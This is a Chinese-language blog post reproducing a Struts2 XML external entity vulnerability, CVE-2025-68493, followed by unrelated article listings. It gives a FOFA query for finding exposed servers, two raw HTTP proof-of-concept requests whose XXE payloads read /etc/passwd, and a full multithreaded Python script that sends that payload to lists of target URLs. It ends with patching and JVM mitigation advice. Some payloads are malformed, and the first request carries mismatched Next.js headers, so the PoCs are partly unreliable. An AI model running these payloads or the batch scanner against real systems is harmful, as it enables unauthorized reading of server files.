struts2 XML外部实体注入漏洞复现(CVE-2025-68493)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

前言:

我们建立了一个更多,更全的知识库。每日追踪最新的安全漏洞并提供批量性检测脚本。

更多详情:

复制代码
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

0x01 产品描述:

Apache Struts 是一个免费的开源 MVC 框架,用于创建优雅的现代 Java Web 应用程序。它支持约定优于配置,可使用插件架构进行扩展,并附带支持 REST、AJAX 和 JSON 的插件。

0x02 漏洞描述:

Apache Struts 存在XML外部实体注入漏洞,XWork-Core 组件在解析XML配置文件时,未对XML外部实体进行充分校验与限制,导致攻击者可通过构造恶意XML内容触发外部实体解析。成功利用后,可能造成敏感数据泄露、拒绝服务等安全影响。

0x03 影响版本:

2.0.0 ≤ Apache Struts ≤ 2.3.37

2.5.0 ≤ Apache Struts ≤ 2.5.33

6.0.0 ≤ Apache Struts ≤ 6.1.0

0x04 搜索语句:

FOFA:app="Struts2"

0x05 漏洞复现:

线上很多蜜罐,自行分别

poc1

复制代码
POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/2
Host: 
Next-Action: x
X-Nextjs-Request-Id: e9myfwgx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: uEBTJuTmVvbHxbRvCmf0m
Content-Length: 104

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

poc2

复制代码
POST /xmlParser.action HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Content-Length: 120
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

xmlContent=
%3fxml+version%3d'1.0'%3f'>
<!DOCTYPE+root+[<!ENTITY+root+["!ENTITY+xse+SYSTEM+"file%3a/etc/passwd"]>]><root>26xse%3b</root>

0x06 批量检测脚本:

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Struts2 CVE-2025-68493 XXE漏洞检测脚本
"""

import sys
import os
import requests
import urllib3
import threading
import queue
import argparse
import time
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Style


init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

#payload
PAYLOAD = '''<?xml version='1.0'?>
<!DOCTYPE root [<!ENTITY root ["!ENTITY xse SYSTEM "file:/etc/passwd"]>]><root>26xse;</root>'''

class Struts2Scanner:
    def __init__(self, threads=10, output_file=None):
        self.threads = threads
        self.output_file = output_file
        self.vulnerable_urls = []
        self.lock = threading.Lock()
        self.scanned_count = 0
        self.vuln_count = 0
        
    def add_http_scheme(self, url):#自动增加协议
        if not url.startswith(('http://', 'https://')):
            return f'http://{url}'
        return url
    
    def clean_url(self, url):
        url = url.strip()
        if url.endswith('/'):
            url = url[:-1]
        return url
    
    def check_vulnerability(self, url):
        try:
            target_url = self.add_http_scheme(self.clean_url(url))
            full_url = f"{target_url}/xmlParser.action"
            
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0',
                'Content-Type': 'application/x-www-form-urlencoded',
                'Accept': 'text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3',
                'Accept-Encoding': 'gzip, deflate'
            }
            
            data = {
                'xmlContent': PAYLOAD
            }
            
            response = requests.post(full_url, 
                                    headers=headers, 
                                    data=data, 
                                    verify=False, 
                                    timeout=10,
                                    allow_redirects=False)
            
            with self.lock:
                self.scanned_count += 1
            
            if response.status_code == 200:
                response_text = response.text
                if 'root:x' in response_text and '/bin' in response_text:
                    with self.lock:
                        self.vuln_count += 1
                        self.vulnerable_urls.append(target_url)
                    return True, target_url, "漏洞存在"
                else:
                    return False, target_url, "响应状态200,但未检测到漏洞特征"
            else:
                return False, target_url, f"响应状态码: {response.status_code}"
                
        except requests.exceptions.RequestException as e:
            return False, url, f"请求错误: {str(e)}"
        except Exception as e:
            return False, url, f"检测错误: {str(e)}"
    
    def process_single_url(self, url):
        print(f"[*] 正在检测: {url}")
        is_vuln, checked_url, message = self.check_vulnerability(url)
        
        if is_vuln:
            print(f"{Fore.GREEN}[+] 漏洞存在: {checked_url} - {message}")
        else:
            print(f"{Fore.RED}[-] 无漏洞: {checked_url} - {message}")
            
        return is_vuln, checked_url
    
    def process_batch_urls(self, urls):
        print(f"[*] 开始批量检测,线程数: {self.threads}")
        print(f"[*] 待检测URL数量: {len(urls)}")
        print("-" * 50)
        
        start_time = time.time()
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = {executor.submit(self.check_vulnerability, url): url for url in urls}
            
            for future in as_completed(futures):
                url = futures[future]
                try:
                    is_vuln, checked_url, message = future.result()
                    
                    if is_vuln:
                        print(f"{Fore.GREEN}[+] 漏洞存在: {checked_url}")
                    else:
                        print(f"[-] 无漏洞: {checked_url} - {message}")
                        
                except Exception as e:
                    print(f"{Fore.YELLOW}[!] 检测异常: {url} - {str(e)}")
        
        end_time = time.time()
        self.show_results(start_time, end_time)
    
    def show_results(self, start_time, end_time):
        print("\n" + "=" * 60)
        print(f"[*] 扫描完成")
        print(f"[*] 耗时: {end_time - start_time:.2f}秒")
        print(f"[*] 已扫描: {self.scanned_count}个URL")
        print(f"[*] 发现漏洞: {self.vuln_count}个")
        print("=" * 60)
        
        if self.vulnerable_urls:
            print(f"\n{Fore.GREEN}[+] 发现漏洞的URL列表:")
            for url in self.vulnerable_urls:
                print(f"  {Fore.GREEN}• {url}")
            
            #导出到文件
            if self.output_file:
                self.save_results()
                print(f"\n{Fore.CYAN}[*] 漏洞URL已保存到: {self.output_file}")
        else:
            print(f"\n{Fore.YELLOW}[-] 未发现存在漏洞的URL")
    
    def save_results(self):
        try:
            with open(self.output_file, 'w', encoding='utf-8') as f:
                for url in self.vulnerable_urls:#漏洞存在导出
                    f.write(f"{url}\n")
        except Exception as e:
            print(f"{Fore.RED}[!] 保存文件失败: {str(e)}")
    
    def read_urls_from_file(self, filename):
        urls = []
        try:
            with open(filename, 'r', encoding='utf-8') as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith(('#')):
                        urls.append(line)
        except FileNotFoundError:
            print(f"{Fore.RED}[!] 文件不存在: {filename}")
            sys.exit(1)
        except Exception as e:
            print(f"{Fore.RED}[!] 读取文件失败: {str(e)}")
            sys.exit(1)
        
        if not urls:
            print(f"{Fore.YELLOW}[!] 文件中没有找到有效的URL")
            sys.exit(1)
        
        return urls

def main():
    parser = argparse.ArgumentParser(
        description='Struts2 CVE-2025-68493 XXE漏洞检测工具',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
使用示例:
  %(prog)s -u http://example.com
  %(prog)s -f urls.txt -t 20
  %(prog)s -f urls.txt -o results.txt
        '''
    )
    
    parser.add_argument('-u', '--url', help='单个URL检测')
    parser.add_argument('-f', '--file', help='从文件读取URL进行批量检测')
    parser.add_argument('-t', '--threads', type=int, default=10, 
                       help='线程数量 (默认: 10)')
    parser.add_argument('-o', '--output', help='将漏洞URL导出到指定文件')
    
    args = parser.parse_args()
    
    if not args.url and not args.file:
        parser.print_help()
        print(f"\n{Fore.RED}[!] 错误: 必须指定 -u 或 -f 参数")
        sys.exit(1)
    
    if args.url and args.file:
        print(f"{Fore.YELLOW}[!] 警告: 同时指定了 -u 和 -f 参数,将使用 -u 参数")
    
    scanner = Struts2Scanner(threads=args.threads, output_file=args.output)
    
    print(f'''
{Fore.CYAN}Struts2 CVE-2025-68493 XXE漏洞检测工具
{Fore.CYAN}Author: iSee857
{Fore.CYAN}========================================
    ''')
    
    try:
        if args.url:
            # 单个URL检测
            scanner.process_single_url(args.url)
        elif args.file:
            # 批量检测
            urls = scanner.read_urls_from_file(args.file)
            scanner.process_batch_urls(urls)
    
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] 用户中断扫描")
        if scanner.vulnerable_urls and scanner.output_file:
            scanner.save_results()
            print(f"{Fore.CYAN}[*] 已保存已发现的漏洞URL到: {scanner.output_file}")
        sys.exit(0)
    except Exception as e:
        print(f"{Fore.RED}[!] 程序执行出错: {str(e)}")
        sys.exit(1)

if __name__ == '__main__':
    main()

0x07 修复建议:

官方已发布最新版本修复该漏洞,建议受影响用户将Apache Struts更新到6.1.1及以上版本。

下载链接:https://struts.apache.org/download.cgi

无法立即升级的用户可以通过以下方式缓解:

1、使用自定义SAXParserFactory:将xwork.saxParserFactory设置为默认禁用外部实体的自定义工厂类;

2、定义JVM级别的配置:通过系统属性配置JVM的默认XML解析器以禁用外部实体(设置为空字符串以阻止所有协议):

-Djavax.xml.accessExternalDTD=""

-Djavax.xml.accessExternalSchema=""

-Djavax.xml.accessExternalStylesheet=""

相关推荐
OpenCSG2 小时前
OpenCSG 生态核心:CSGHub 构建企业 AI 全生命周期管理体系,安全与协同双向赋能
人工智能·安全
程序员哈基耄2 小时前
隐私与安全工具集:让数据掌控回归用户手中
安全
Guheyunyi3 小时前
智慧消防管理平台的关键技术突破与创新
大数据·运维·人工智能·安全·音视频
Guheyunyi4 小时前
电气安全管理系统:架构、技术与智能预警体系
大数据·人工智能·科技·安全·架构
爱蛙科技4 小时前
光谱小知识 | 吸光度测试的“灵魂”:Reference 与 Dark
安全
zhengfei6115 小时前
最新热点漏洞—— CVE-2026-21858 + CVE-2025-68613 - n8n 全链【 严重安全漏洞】
安全·网络攻击模型
独行soc5 小时前
2026年渗透测试面试题总结-1(题目+回答)
android·开发语言·网络·安全·web安全·渗透测试·php
这儿有一堆花5 小时前
服务器安全:防火墙深度配置指南
服务器·安全·php
金士镧(厦门)新材料有限公司6 小时前
稀土抑烟剂:让PVC膜“安静”又安全
科技·安全·全文检索·生活·能源